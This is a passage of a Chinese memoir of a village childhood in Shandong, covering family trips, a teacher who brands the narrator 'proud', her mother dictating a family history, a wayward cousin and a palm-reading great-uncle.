学校放麦忙假了,我爸爸妈妈忙着割麦。他们把割来的麦放在我家院墙西边的空地上晾着。我爸爸妈妈干活的时候很少让我掺和,他们只让我看着麦,顺便在树荫下看看书。五黄六月天,阳光很是灿烂。我看了一会儿麦,就跑回我家去偷杏吃。 我家有两棵杏树,一颗在屋门前头,是一棵大杏,黄黄的外皮,红红的心,吃起来有些酸。一棵是小杏,在我家天井中央的石台子那里,那是麦黄杏,小小的,软软的,我根本够不着。我就踩着我家屋门前的石头,够屋门前那棵杏树上的大杏吃。我家住在庄西头,没有什么人经过。我爸爸妈妈推着麦回家,看我不在,也没有吵我。 我偷吃完杏,再跑到我家院墙外头去翻翻书。我的书被弄地黑黑的。 一年级升二年级的暑假,我们一家子去会宝岭水库游玩。会宝岭水库,水很深,水面很宽,渺渺茫茫,一眼望不到边。 妈妈说:“恁离水远点儿。水库里有成精的妖怪。水底的鱼鳖虾虾蛇虫,年岁久了,成了精,会把人拖下水。有的人,坐在船上,好好的。一个浪头打过来,那个人就被水里头的妖精给拽到水里去了。” 可是我爸爸不怕,我爸爸水性很好,他把幼小的弟弟背在背上,驮着他,在水里游。爸爸光着膀子背着光着腚的弟弟。我弟弟那么小,在他的背上趴着,远远看去,一个黑点背着一个小白点儿,很是可爱。 我爸爸背着弟弟向西游去,离我们越来越远了。我妈妈向西朝着他喊着:“家军啊!快回来!回来!家军!”也不知道我爸爸听到了没有,他还是背着我弟弟使劲儿往西游。直到我们快看不见他们了,他才折返回来。我看着我爸爸背着我弟弟玩,我也很高兴。虽然,我爸爸背的不是我。 我们一家子在大坝上走着,前头,迎面走来了我的班主任牛老师。 “牛老师!”我高声喊道。我又赶紧跟我爸妈说:“这是俺班主任牛老师!” 我爸妈好像一点都不惊讶。 “四叔!”我爸爸喊道。 “恁大奶奶家的四婶子就是白山的,她给恁牛老师叫四叔。你应该给恁牛老师叫四爷爷。”我妈妈说。 “宋大省这回考了全镇第二。” 牛老师跟我父母说,“宋大省儿是个天才!好好培养!”牛老师说。 “行!老师!谢谢老师!都是老师培养地好!让老师费心了!”我妈妈跟牛老师说。我爸爸妈妈很开心,我也很开心。 “四叔你这是去哪儿啊?”我爸爸问牛老师。 “我随便逛逛。俺家的地就在这儿。这儿还有俺家的柴禾垛。”牛老师说,“恁也好好逛逛吧。一家子难得出来一趟。” “行,四叔。”我妈妈说。牛老师说着话也走了。 等牛老师走了。我妈妈跟我说,自古有状元学生,没有状元老师。有一个小孩儿,他小时候那个皮啊,他的老师就拿着荆棘条子抽他。后来,这个小男孩考取了状元。有一天,状元出门了,跟着大队人马,满大街吆喝着。他的老师远远地看到了,吓地抖抖索索地,赶紧躲到墙角里。状元从轿子里头看到了他老师,立马叫人落轿。状元下了轿,把他的老师扶上轿,状元自己扶着轿子走。他的老师看到他这么尊敬自己,才放下心来。 老师问状元:“我以前那样打你,你不恨我吗?” 状元说:“老师打我那是对我好。没有老师打我,就没有我的今天。我得感谢老师。” 状元的老师听了,这才放下心来。 2.爸爸最后一次带我们回南乡 妈妈想念南乡的姊妹娘们儿了,就让爸爸用板车拉着我们去南乡。那时候,适合我们一家五口乘坐的唯一的交通工具,是一辆平板车。妹妹还小,要妈妈抱。我们娘四个都坐在平板车上,由我爸爸磴着洋车子拉着。 那是一个黑漆漆的早上,我稀里糊涂地跟着父母,第一次到了姥姥家。我五姨六姨住在姥姥家西边的小屋里。她们听说我来,高兴地站在床上,伸开双臂来抱我:“小宝来啦!小宝!”后来我们又坐上爸爸的平板车,顺着姥姥家门前的小路,翻过黑压压的西山头,继续往南乡走。 “大省,你别去了。把你搁到程前儿恁大姑家里吧?多一个人,就多一个累赘。”我妈妈跟我说,“恁大姑对咱也怪好。你搁她家来,跟恁表哥一块儿玩儿,一块儿写作业。” “行。”我说。 天大亮的时候,我们来到了表姑家里。表姑家在麦场里,麦场上到处是麦瓤的香味。好多间黄泥为墙、麦秸为顶的小屋,坐落在高高的土台子上。这就是大姑的家了。她们家搞得跟个非洲部落一样。表哥跟我差不多大,他正跟着会拳脚的表姑父在土台子上操练拳法。 表姑热情接待了我们一家。我也刚有一点可以留在她家过些日子的念头。可是我看着他家麦场上那些一座座的小房子,想想爸爸妈妈,全然不能接受离开父母的事实。我反悔了,不想待在表姑家里了。 爸爸拉着板车走了,妈妈和弟弟妹妹坐在板车上,她们慢慢地远去了。表姑把我抱了起来。 这次,我长大一点了,有劲儿了。我奋力挣开表姑的怀抱,追着爸爸的板车跑去。我妈妈抱着我妹妹坐在板车上。她看见我跑来,也没有骂我,也没有往下踢我。我上了板车,和妈妈坐在一起。 在南乡,妈妈认识了不少好心的姊妹儿娘们儿。这回去南乡,妈妈再带我去以前认识的一个大姨家里。大姨把我揽在膝前,说我长大了,要是留在她家做她的闺女就好了。她家炒了银银菜,也就是苋菜,大姨让我妈妈卷煎饼给我吃。 大姨炒的银银菜真好吃,我妈妈就炒不出来那种味道。大姨也就是随口儿说说吧,那时候,我还真想多出来个妈妈来疼我呢。那时候,我还梦想着,哪一天,有个海外老华侨的父母或是祖父母来认我呢。 回山东的时候,我爸爸蹬着洋车子,拉着我们娘四个。一百多里的路,爸爸蹬车、拉车,累地腚疼。他有些气恼地对妈妈说:“以后你想来,你自己来,我是不想来了!我累地腚膀子疼!”哪知道,这是最后一次他带我们去南乡了。 3.骄傲的公鸡 到了二年级以后,我们原先的一年级一班跟一年级二班合并了。二班的班长李东成了我们的新班长。他成绩很好,他家就在我们学校对门儿偏东一点。 同样成绩很好又长得很好看的新同学是张飞飞。张飞飞家就在学校正对门儿,她家里开油坊,她长得又娇贵又好看。她的皮肤白白,眼睛大大,头发长长黑黑亮亮。她经常穿着一身崭新的衣裳,那件衣裳有着精致的料子和好看的式样。她的样貌和穿着打扮,不光在我们学校,就是在全张庄,也是数一数二的女娇娃。 张飞飞家,是我那时候见过的很阔的家庭了。尽管,她家的房屋并不怎么壮丽辉煌,只是三间很平常的平房,可是我们都知道她家是开油坊的,开油坊的肯定是有钱的。张飞飞,也是我见过的又好看家里又有钱的典范了。 在张飞飞的面前,我是很自卑的。在我的心目中,张飞飞这样的美人儿,也只有李东这样的男孩子才能与她相配。 张飞飞有她爸爸的指引,她的学习很好,目标也比我们的都要明确,都要高。她的爸爸早就给她安排好,等她上完小学,就去城里上学了。李东也是的。他的爸爸也是这样想的。他们都有个好爸爸,他们的眼光比我们都要开阔,都要敞亮。我们什么都不知道,只知道按部就班地在庄里上学,有学上就好,还能上得下去就好。 爸爸跟朱可大叔一起走街串巷收酒瓶子,一走就是一整天,没有时间辅导我,我的成绩开始下降,数学一点都跟不上。有时候中午放学回家吃饭,我爷爷奶奶没有来得及烧好饭,我就只好等,等到我吃了午饭,匆匆忙忙跑到教室的时候,人家早就上课了。牛老师看我老是迟到,故意喊我去黑板上做数学题。 “这道题怎么做?宋大省,上来!”牛老师喝道。 我上了黑板,呆呆地站着,看着黑板上的白色粉笔写的一大串的算式,头脑发懵,一点都不会。 “宋大省老是迟到!骄傲了哈。”牛老师说。 一个课间,白山的一个小男孩儿,叫马健,挂着黑黑的两道鼻涕,像小狗儿一样在讲台前爬着,嘴里发出“嗬嗬”的声音,到处抓人玩。我看了他那个样子,觉得他太好玩了,就手脚相向地朝他踢踏着,跟他闹着玩儿。我们闹腾地正欢的时候,牛老师从外头进来了,他正好看到了。 “宋大省,你是不是骄傲了?你怎么能那样打马健的?他没你成绩好你就打他啊?你不光打他嘛,你还两个手两个脚都用起来。”牛老师一边哭笑不得地学着我手脚相向的样子,一边义正严辞地批评我。我坐在位子上,听着他一面之词地评说我。 我确实是那样子的,可是我真的没有使劲儿打他,我那样子也不是为的打他,我其实是喜欢他装作小狗儿的样子,我想跟他闹着玩儿的。可是牛老师认为我打他了,我也不知道该怎么解释。我就默认了牛老师的话。那个刚才还趴在地上跟我一起欢快地打闹的马健,他在牛老师对我的指责下,一下子变成了被全班同学同情的对象,他很入戏地扮演着一个孤独无助的弱者,挂着两道黑鼻涕,楚楚可怜的,默不吭声了。 那是我们全班同学第一次知道“骄傲”这个词,那时候,我们根本不知道“骄傲”是什么意思。这以后,全班同学都跟着牛老师说我“你骄傲!”我也不会辩解,也不会反驳,就这样默默地接受了。 我发现我小时候,除了自己天性里的活泼,在面对大人和他人的毁谤时,是无声的,是不会反驳的。为什么会这样呢? 我成绩下滑了,在班里自然没有了地位。以前围着我跟我玩的小孩子也都不再跟我亲香了。只有张翠翠、张娟娟和张大龙他们几个娄庄的,还是一如既往地对我很好。 张翠翠很老实,剪着一头短发,穿着一件大红的西服褂子,看上去有些年长,也有些木讷。张娟娟是她妹妹,穿着一件粉色的衣裳,看上去要比她活泼一些,成绩也比她好一些。张翠翠写得一手的好字,她的书上也是干干净净的。 “你看,宋大省的书上多黑啊!”张娟娟说。 我说:“这说明我看书看得勤啊!”我为自己辩解道。其实,我自己知道,我的书上是真的不整洁,我用铅笔蒙着五分钱在上头划了,用脏手在上头摸了。 “我看书前都是洗洗手。”张翠翠说。 张翠翠的话让我无话可说了。可是,因为我的成绩还是比张翠翠的成绩好一些,似乎我的书脏是因为看书看地多的理论就更靠谱一些。 语文课上,我的分角色朗读还是无可比拟的。那天上课,我们学习《美丽的公鸡》。这篇课文,角色特别多,我也很喜欢。 “现在牛老师要找人分角色朗读,谁来?”牛老师问。 我非常想读“公鸡”这个角色,我认为“公鸡”这个角色非我莫属,我一定能用我胸有成竹的强调把她给塑造好。而且,骄傲的公鸡,这个身份也非常符合我当时在班级里的负面形象。那时候,我可是“骄傲”的代名词啊。可是,既然我已然是一个负面形象,已然是被全班嘲讽的对象,我实在没有勇气主动请缨啊。 我低着头,两只胳膊并在一起,端端正正地趴在桌子上,不敢吭声儿。 牛老师居然喊到了我:“宋大省,你来扮演美丽的公鸡。” 我“噌”地站了起来。 “张大龙,你来扮演长嘴巴的啄木鸟。李东,你来扮演大肚皮的青蛙。张娟娟,你来扮演鼓眼睛的小蜜蜂。马健,你读老马。张翠翠,你来读旁白。”牛老师说。 被点到名的同学,都捧着书本站了起来。马健也站了起来。 在欺压同学的万恶的我成了骄傲的代名词被打倒以后,马健摇身一变,成了牛老师和全班同学同情的对象。他立刻变得委屈和稳重了许多。 “张翠翠,你先读。”牛老师说。 “从前有一只公鸡,他自以为很美丽,整天得意洋洋的唱。”张翠翠念道。 到我了!我声情并茂地朗读了大公鸡的台词: “公鸡公鸡真美丽,大红冠子花外衣。油亮脖子金黄脚,要比漂亮我第一。” “有一天,公鸡吃得饱饱的,挺着胸脯唱着歌,来到一棵大树下。他看见一只啄木鸟。” 张翠翠念道。 “长嘴巴的啄木鸟,咱们俩比一比,到底谁美。” 我说。 “对不起,老树长了虫子,我要给他治病。”张大龙说。 张大龙这个人是单眼皮,皮肤白白的,个头高高的,嘴唇红红的。虽然他不怎么跟我说话,但我能够感受到他一直对我很友善。他成绩很好,是数学课代表。他说话的时候像是白开水一样,让人觉得他没有什么表情,没动什么歪心思。他不像李东,李东这个人即使不怎么说话,也给人一种中年男人的深沉的感觉。我喜欢李东那样的,看起来很有内涵的人。我不太喜欢张大龙那样的白开水。 我现在想一想,我突然觉得端午很像张大龙,同样的白白的皮肤,薄薄红红的嘴唇,高高的个头儿,说话的时候同样的像是白开水。人这一辈子,好像是一个循环或是重复,你遇见的人,不知道什么时候又遇见了一遍,你经历的事,不知道什么时候又经历了一遭。你生命里来来去去的人和事,命运早早地就给了你一个预兆。 “公鸡听了,唱着歌,大摇大摆地走了。公鸡来到一个果园里,看见一只蜜蜂。” 张翠翠念道。 “古眼睛的小蜜蜂,咱们俩比一比,到底谁美。”我说。 “对不起,果树开花了,我要去采蜜。”张娟娟说。张娟娟跟张大龙是同款,他们都是小花朵一样很单纯很良善很让人放心。他们一点都不深沉,不让人费解,也不让人忌惮。 “公鸡听了,又唱着歌,大摇大摆地走了。公鸡来到一块稻田边,看见一只青蛙。” 张翠翠念道。张翠翠这个人很老实,说话温吞吞地不争不抢。她年纪不大,可是早就没了张娟娟那样的欢脱和嘲哳。她像是脉脉东流水,无色无味,她很好,但我不太喜欢这种性格的。我喜欢的性格颜色是赤橙黄绿青蓝紫,是浓墨重彩,是昂扬热烈奔放的。 “大肚皮的青蛙,咱们俩比一比,到底谁美。”我说。 “对不起,稻田里有害虫,我要捉虫去。”李东说。李东对着书本认真地说。不是顶着 美丽的公鸡的身份,我是不会这样挑衅李东的。在他面前我是卑微的,因为我喜欢他。当然,他喜欢的肯定不是我,我也不觉得我这样贫穷又低贱的贫农能配得上他。他是张庄的,他家是富农。当然,这种喜欢只是当时的。要是让我知道他现在早就肥腻秃顶了,我可一下子就不再喜欢他了。 “公鸡见谁也不跟他比美,只好往回走。在路上,公鸡碰到一匹驮粮食的老马,向老马说了自己和啄木鸟,蜜蜂,青蛙比美的事。他伤心地问老马。”张翠翠说。 “老马伯伯,我要跟他们比美,他们为什么都不理我呢?”我说。 公鸡在面对老马伯伯时的卑微惭愧的语调,真是被我拿捏地妥妥地,那简直是太到位了。我依然还记得我那一句羞羞惭惭的“老马伯伯”,那种羞惭,一方面是课文中大公鸡对自己炫耀羽毛的羞愧,一方面又是我自己对我在班级里“骄傲”之行为的伏法认罪。 我的朗读很好,我的惭愧的情绪表演地也很到位。牛老师很满意。那篇课文,配上牛老师对我的评说,真是再恰当不过了。 “因为他们懂得,美不美不光观看外表,得看能不能帮助人们做事。”马健拖着两道黑黑的鼻涕说。 “好!大家请坐!宋大省把这个骄傲的公鸡读地很好。”牛老师说。 于是,从那往后,我又成了“骄傲的公鸡”。仿佛那个天天挺着胸脯去找人比美的公鸡就是我。可是,我真的从来没有找人比美啊,我也从来没有觉得自己很美啊。我也从来不知道什么是骄傲啊。 小时候,老师说什么就是什么。长大以后,才发觉,有时候,老师说什么也并不是什么。可是老师的话,对一个学生的影响真的很大。老师统治着一个班级,他有至高无上的话语权,他可以随时随心地对一个人进行褒贬。而老师并不是上古圣哲,他说的做的也不全是对的。可是在越是蒙昧的人的心里,老师说的又越是对的。陟罚臧否,全都由他。这对一个孩子来说是多么可怕。 但是我还是很爱玩。我照旧把“宝”装在挎包里,带到学校来。 有一次,上课的时候,我们都在安静地写老师布置的作业,我也在很投入地写着。牛老师在教室里转悠着。他走到我身后的过道上,他看到了我左边挎包里的“宝”,就顺手把那些“宝”给牵了出来。他像是缴获了战利品似的,高昂起我的“宝”,向全班同学炫耀道: “恁看!宋大省的‘宝’!” 他笑,同学们也笑。 得!我再次用我的实际行动证实了我的骄傲与不务正业。 有一天,下午放学,我没写完作业,不能回家吃饭,我爸爸恰巧来接我,他给我买了两个烧饼,送到教室里。牛老师跟我爸爸两个大人客客气气地说着话,我爸爸温和地看着我,露出平日里很少见到的慈父的微笑。我看着热乎乎的烧饼,低头写作业,不敢吃。直到老师开口准许我吃,我才开始有些拘谨地吃起烧饼来。那两块烧饼是我爸爸特意给我买的,我家平时根本吃不起这么香甜可口的烧饼。 后来,我爸爸又不收酒瓶子了,他又开始卖气球。我们那时候管气球不叫气球,叫“气茄子”。有一回,我爸爸去我们学校门口卖气球,我跟一群小孩儿围着他,等着他把那些不太好的气球分给我们。我身边的张丽丽,她是张庄的,她家就在我们学校大门口儿。她是街面儿上的人,有红红亮亮的面皮,肥嘟嘟的身架,和能说会道的嘴巴。她平时也是胆子很大,咋咋呼呼的。她也伸着手问我爸爸要气球。 我站在她的旁边,她伸着手向我爸爸叫喊着“给我!给我!”她是那么大胆、那么自信,她是耀眼的,是红色的。我站在我爸爸对面,看着我爸爸笑嘻嘻地摆弄着气球。印象中,泼辣、热烈的女士跟别人交往时,仿佛总是被优待的。一时间,我不太确定我爸爸会把那个气球给她还是给我了。 等我我爸爸把气球给了我的时候,我居然有些出乎意料了。 张丽丽诧异地问我爸爸:“你怎么给她了的?” 我爸爸笑着摆弄着筐子里的气球说:“那是俺闺女”。 我一下子愣住了。他的话是我没有想到的。 我在我爸爸跟前,从来是小心怯懦的。我不敢造次,不敢任性,不敢撒娇,因为我不确定我爸爸对我好还是不好。据我的感觉,他对我并不是很好。我爸爸也几乎没怎么给过我好脸色。以至于连一个气球,我都不能确定,我爸爸是否会百分百地给我。 我爸爸居然把气球给了我,那一刻,我是幸福的。 4.未完成的“血泪家史” 有一天,我爸爸不在家。我弟弟妹妹也不知道跑到哪儿玩去了,就我跟我妈妈两个人在家。我妈妈从屋里端出来一个瓷盆子,里头放了一沓子干煎饼和盐。她把那瓷盆子放在我家天井里的石台子上。 “我喜欢吃酱,我晒点酱吃。”我妈妈说。 我说:“妈妈,我看人家晒的酱都给鸡糖轰似的,你晒的酱好看。沙莹莹的。” 我妈妈说:“哪儿的事儿哎。人家晒的酱搁了豆子。咱是没有豆子,我就光搁了点煎饼。”我妈妈说完,又去糊纸铐子。 “我糊点纸铐子,留着做双鞋穿。缝个鞋垫子也是好的。”她在一张报纸的两面,用浆糊糊了一片片的布。这就成了一张纸铐子。她把那块湿津津的纸铐子提溜了出来,铺在我家天井里的石台子上。 “搁这儿晒着吧,晒干了再拿进去。”她说。 西边,天空上出现了一片彩虹。 “彩虹!妈!快看!彩虹!”我指着那片彩虹说。 “那是绛。”我妈妈说,“不能拿手指它哈,光烂手指头。” 我问我妈妈说:“妈,绛是什么?” 我妈妈说:“绛是蜃吐的雾气儿。小孩儿要是拿手指,光烂手指头。” 我妈妈从屋里提溜出来个磁盆子。 “我去淘粮食去,回等恁爸爸来了,让他去嗑糊子。你写完作业了?” “嗯。” “你要是写完作业了。你就找一个大点儿的本子,来记咱家的家史。我说着你记。”我妈妈跟我说。 我去屋里拿了一个小本子出来。我妈妈抬头看了看,很是不满意。 “恁小的?你换个大点儿的本子去。我记得咱家还有恁舅给你的大本子的。”我又去屋里换了一个大点儿的本子。那个本子的确很大,一张纸有电脑屏幕那么大,上头打着红色的线。 “你找个板凳坐下。坐好。听我说。坐好了吗?我说了?”我妈妈说。 “嗯。” “俺好比鸿雁,插翅飞到宋将军家园。十年里生儿育女,受尽熬煎。” “妈,‘熬’怎么写?” “‘熬’?我想不起来喽。我记得跟骄傲的‘傲’样。‘熬’?我想起来了。骄傲的‘傲’去掉单立人儿,加上四点水儿。” 我迅速地记下来。我妈妈又开始低头淘粮食。 “生大宝失血多,无有抚养;怀鸿雁,俺公爹拿镢头砸俺。文利姐破死破活拼命拉架,无奈何,俺动刀子捅他肋叉才保住宋家儿男。” “妈,‘镢头’的‘镢’怎么写?” “我不知道!你不要问我。你写是的!不会写的字儿就拿拼音代。你问我,我都忘了。”我妈妈说,“我刚才说到哪儿了?” “说到捅俺爷爷了。” “哦。贤司法公平断案,免俺责任。俺跟随家军夫,到吉林刨参土,又过罢了一年。” “在东北实在艰难,无法糊口,俺到南乡小鲁村才把身安。” “麦场屋生鸿雁,还有家军作伴。生笑笑俺独自一人,多亏老天爷保佑了俺。”我妈妈说着说着,“啪嗒啪嗒”地掉眼泪。她的眼泪掉进了她面前的瓷盆子里,我听到她抽鼻子的声音。 “恁妈妈是没机会上学的。”我妈妈红着眼睛抬头看看我说,“俺向奎叔那时候当大队书记,那时候□□,他不推荐我。恁妈妈要是有机会上学的话,俺就是个大学苗子。恁妈妈是有状元之才,没状元之命。” 我们娘俩儿就这样一个说一个记,直到太阳落了西,我爸爸家来了,我妈妈整顿一下神情,我也收拾起来刚才的“文案”。这轰轰烈烈的家史记述活动就这样搁置下来。 后来,岁月变迁,时光流逝,我们经历了那么多的心酸苦楚,生离死别。人,尚且无暇自保,又哪里顾得上去回顾这一番比一番还要艰难的血泪家史呢。 爸爸不在家的时候,妈妈边缝针线,边给我讲唱《白蛇传》。 “白素贞喝了雄黄酒,现了原形,吓死了许仙。等她醒了以后,许仙死喽。为了救许仙,她手拿宝剑,去仙山盗灵芝仙草。看守仙草的仙鹤要杀她,白素贞又得跟仙鹤打斗,又得护着肚子里的胎儿,根本不是人家的对手。” “妈,白素贞那么厉害。怎么打不过仙鹤的?”我问我妈妈。 “她怀着孕!怎么能打过人家的?可怜!仙鹤跟啥(蛇)生来就是死对头。仙鹤吃啥(蛇)。啥(蛇)怕仙鹤。要是有啥(蛇)钻到哪里不出来,人家把仙鹤头往那洞里一探,啥(蛇)就自动地钻出来。” “那白素贞打不过仙鹤,怎么办呢?”我着急地问。 “幸好南极仙翁及时赶到,劝说仙鹤,你看她身怀六甲,就让她走吧!” 我妈妈说着,唱着,“哗哗”地留着眼泪,到门外去擤鼻子,我也忍不住流眼泪。我知道妈妈这些眼泪不光是同情白素贞,她的故事和眼泪里有她自己的故事。她一定想到了她的爱情,她一定想到了她为了我爸爸宋家军做的一切忍耐和牺牲。 我知道苦守寒窑的王三姐,也知道爱唱山歌儿的刘三姐。我妈妈姓周,她在娘家也被人们叫做“三姐”,此“三姐”出身农民,在南乡的场院屋里,为我爸爸生下两个孩子,独自在南乡剜野菜、拾庄稼为生,她承受的苦痛,又何异于王三姐独守寒窑,何异于白素贞怀着身孕去盗取仙草呢。 5.艳红大姐 我跟弟弟在庄里玩,看见艳红大姐以前谈的那个北凤安的对象又来了。他个子偏高、偏瘦,穿件洋气的灰色衣裳。他的脸堂白白净净,斯斯文文,像个大学生。对,像老温的葬礼上那个会三拜九叩的洋学生。此刻,文利大爷正陪着他走在大街上。 大姐又不在家。 两个男人都讪讪地笑着。 文利大爷陪着笑,慢条斯理地跟他说着什么,像是在开解他。北凤安的那个男人低着头淡淡地笑着走着。 这是又一个看上了艳红大姐,却被她狠狠抛弃,但又心有不甘的男人。 我回到家把这事儿跟我妈妈说了。 “妈,我今天搁大街上看到俺艳红大姐的对象了。” “你搁哪儿看到的?” “搁大翠家墙外头。俺艳红大姐不搁家,俺文利大爷陪着他的。” “恁大爷说的什么?” “他说的什么我没听到。反正我看俺文利大爷陪着笑,好像是安慰那个男的的。” “那个男的长得什么样?” “那个男的长得干干净净的,蛮好看的。” “那是凤安街的呗。人家家境好,对恁大姐也好,恁大姐一开始答应着,后来又看不上人家了。” “俺大姐去哪儿了?” “她又跟郑村的大队书记的儿谈了,跑到人家家里,不出来了。她老公公怕旁人坏他儿子的事儿,拿着刀子、光着膀子,跑到大街上骂了好几圈儿。” 一天,我们放学的时候,看到艳红大姐了。她跟一个我不认识的男人在一块儿。那就是郑村的那个男人了。他有着壮实的身躯和浓黑的胡子,比凤安街的男人多了很多匪气、痞气。他和艳红大姐一块儿在家东的陡坡上放羊。艳红大姐坐在家东的陡坡上,拿着一根长长的豆橛子,一头给羊吃着,一头自己吃着。 “真恶心!给羊一块儿吃一根豆橛子!”我身旁的小孩儿说。 后来,大姐跟郑村的那个男人也是虎头蛇尾,没有了下文。 那是一个早上,我们还刚刚起床。文利大爷,扒着我家的墙头,问我爸爸:“家军啊,艳红来你这里了吗?” 我爸爸说:“艳红没来啊,大哥!” “噢!她没来恁这儿啊?艳红她娘让艳红去给她姥娘送烧饼,她姥娘听到她搁大门外头‘姥娘’‘姥娘’地喊。她姥娘出来一开门儿,她人儿就不见了。她姥娘门口儿,还躺着她吃剩的一个烧饼头儿。你说说,艳红这是去哪了!”文利大爷招呼也没打,就急匆匆地走了。 我妈妈跟我爸爸说:“你说艳红怎么跟撂蛋鸡似的?走到哪谈到哪!这都谈了多少个了?谈了散,散了谈!这闺女找不到了,当爹的急吧?怨不得咱大哥到处打听哎。” “没事儿,她跑了又不是一回两回了。”我爸爸说,“哪回不是她自己跑回来的?” 在南北荆堂,艳红大姐长得那是数一数二的好看。大姐长得如出水芙蓉,脸上胖胖细细白白,说话也平和,没有腔调,不尖不刺儿。跟她在一起,不急不躁,温柔又有依靠。或许,大姐之所以这么讨人喜欢,不只是因为她的容貌,更是因为她这样的气息。 艳红大姐出走的消息,一时成了南北荆堂的新闻。傍晚的时候,我跟着爸爸妈妈在北荆堂庄东头的地里刨地,艳红大姐的姥娘,也扛着镢头去刨地了。 我妈妈跟我爸爸说:“艳红又跑了,你说文利哥心里难受吧。” 我爸爸说:“不光难受嘛,这事儿弄的南北荆堂的人都知道了。文利哥脸上也无光啊。” 我妈妈说:“你说这些天,艳红的姥娘心里也怪难受吧。小孩是从她家不见的,现在还不知道下落呢。艳红的姥娘可不容易了,艳红的姥爷死地早,就撇下艳红的娘这一个小丫头,艳红的姥娘年纪轻轻的就守寡,一个人把艳红的娘养大的。” 我问妈妈:“俺文利大娘就自己一个啊?” 我妈妈说:“嗯。恁大娘就她自己,没有什么兄弟姊妹。” 我爸爸说:“这个小丫头,找不到了也正常,她以前又不是没走过,过阵子就又回来了。” 我妈妈说:“你说,这小丫头,跟个撂蛋鸡似的,走到哪谈到哪,这得谈多少个才能定下来哎。” 我爸爸不吭声。 我妈妈说:“唉!人,也别笑话旁人。谁知道谁后代子孙怎么样。” 后来,我爸爸又去石料厂干活儿去了。隔一段日子才回家一趟。他每次回来都会带几节白白的大馒头给我们吃。我爸爸带回来的馒头不是圆圆的,而是长条儿的,一节一节的。大概是厂里人多,蒸馒头的师傅图省事吧。我爸爸把馒头放在一个塑料袋子里,那馒头外皮儿油油的,里头软软的,糯糯的,甜甜的,比我们庄上的馒头都要好吃。 八月十五的时候,我爸爸带回来了他们厂里发的一两包月饼。我爸爸带回来的月饼很大,比我们以前吃的小酥皮月饼要厚实的多。 那时候,我们经常盼着我爸爸推着洋车子从我家墙西的小路上回家。只要听到洋车子的铃铛声儿,我就常常以为是我爸爸回来。 6.“福伦喝药了!” 我二爷爷家就住在我爷爷家东边,中间隔着一条路。我二爷爷会看手相,有一回,我在二爷爷家门前玩。二爷爷跟我说:“来,省儿!我给你看看手相!”二爷爷戴着黑色塑料框的眼镜,笑起来,露出几颗银色包装的假牙,又斯文,又慈祥。 我赶紧把手伸过去。 二爷爷说:“省儿的面相不错。人家说天庭饱满、地阁方圆。我来看看你的手相。五指并拢不漏缝儿,是守财的手。我看看你的手,守财吧。” 我赶紧把右手的五指紧紧地并在一起。我自己看了看,我的五指其实不能严丝合缝,我的中指跟无名指之间有一条很大的缝儿。但是我的左手能够严丝合缝儿。于是,我把左手伸出去给二爷爷看。 二爷爷说:“右手,男左女右。” 我又把右手死死地并拢起来,伸给二爷爷看。 二爷爷透过他的厚厚的老花镜看了看说:“嗯,不孬。省儿的手不漏缝儿,守财。” 二爷爷四处赶集给人家看手相。要是没人来看手相呢?二爷爷就叫他家的二闺女,我二裙姑,去他的摊子前,假装找他看手相。 “大爷啊!恁给俺看看手相吧!” “行,恁姐!” 二姑就蹲在二爷爷的摊子前,让二爷爷给她看起手相来。 二爷爷跟二裙姑这爷俩演地很像,很快,就有人也凑过来看手相了。 我二爷爷家有三个儿子,二爷爷一家子个头矮,几个叔叔娶媳妇是个难题,都不好找媳妇。我二爷爷就写了广告,赶集的时候,贴在大街上的电线杆子上:“我叫宋金财。谁给俺儿说个媳妇,我给她六百块钱,作为感谢。” 重赏之下必有勇夫。有人揭了二爷爷贴的皇榜,给他家大儿子说了亲。是大泉的闺女。二奶奶娘家也是大泉的。人家都说,这回,二奶奶可以跟她儿媳妇一起走娘家了。 那阵子,每天早上,我都会往脸上抹一种叫作“花香”的雪花膏。那是我在竹来大爷的小店里买的,四毛钱一袋儿。那是手掌那么大的一个塑料袋子,袋子上,深绿色的茎叶托着红色的花朵。那种雪花膏跟厚厚的面粉一样,抹在脸上,像是唱戏的上了妆。我的脸本来就大,抹上那些雪花膏,一张大脸又大又圆又白。 我抹上雪花膏,就去婷婷家里等她一起去上学。婷婷的妈妈还在被窝里坐着,她看着我的脸,笑着说:“你看大省的脸,多白!”她说着,就从被窝儿里伸出腿儿来穿裤子。 婷婷的家就住在宗雨家后头一排,跟宗雨家隔着一条东西大街。婷婷家里条件不错,她的爸爸很有文化,算是南荆堂的一个秀才。他经常穿着一件带四个兜的军绿色的马甲。大队干部在宗雨家的后墙上用黑漆刷了一块小黑板,当作庄上的宣传板,婷婷的爸爸就奉命去那面黑墙上写写画画。他梳着大背头,没什么表情,不怎么说话。婷婷的妈妈跟婷婷的爸爸一样,都是白白的面皮,大眼睛双眼皮,但是她的嘴很甜,经常笑眯眯的。我跟她叫大婶子。 婷婷家西边,隔着一条十字大街,就是战海家。我跟婷婷一起去上学。婷婷那时候很黏我,她总是“姐姐,姐姐”地叫我,很是亲切,好像她真的是我亲妹妹一样。 中午放学,我们还是一起回家吃饭。我在我爷爷家吃完饭,就去婷婷家等她。她吃完饭,准备去学校了。大人都不在家。她家桌子上的盘子里,盛着一盘子白白的,像是油炸的面干儿,又像是油渣一样的东西。婷婷拿起盘子里的一块东西,去喂她的猫。 “咪咪!”她拿着那白白的东西朝着她的猫说。 我问她:“这是油渣子吗?” “不是的。这是面干儿。”她蹲着喂着她的小猫咪说。 无论是油渣子还是面干儿,我都很想吃一口。我几乎忍不住要跟婷婷说,给我吃一点吧。可是我想想,还是没好意思开口。 二奶奶家要办喜事了,二裙姑在家里帮着忙活。二奶奶家的天井里撒了一大堆的黄的白的花生壳子。那是二姑剥的。二姑把一袋子花生剥了皮,大锅里煮熟了,盛到大盆子里,浸上凉水,坐在堂屋门口儿,一把把地把皮捏出来,留着拌凉菜。我坐在二奶奶家的堂屋门儿里看电视。二奶奶家的电视是黑白色的。为了图好看,三叔买来一张红绿色的塑料纸蒙在屏幕上。那电视里人物的衣服就成了红红绿绿的了。 我看电视很入迷。电视里的跟我相仿的两个小姑娘分开了,一个在轮船上,向另一个挥手告别。电视剧终了,我该回家了。我走在人家门前的小路上,心还沉浸在她们的离别里。我仿佛是两个小姑娘中的另一个。而那一个小姑娘,就是婷婷了。我走在路上,心里无限地彷徨感伤。婷婷,我念叨着,仿佛是婷婷要出国远洋,要离开我了。 大叔结婚的时候,有两个要饭的来他家门口要饭、喊好。 他们两个人,一个嘴里喊着吉利话儿,一个跟着叫好。 “凤凰枝头叫!” “好!” “新人要来到!” “好!” “进门添福气!” “好!” “吉星又高照!” 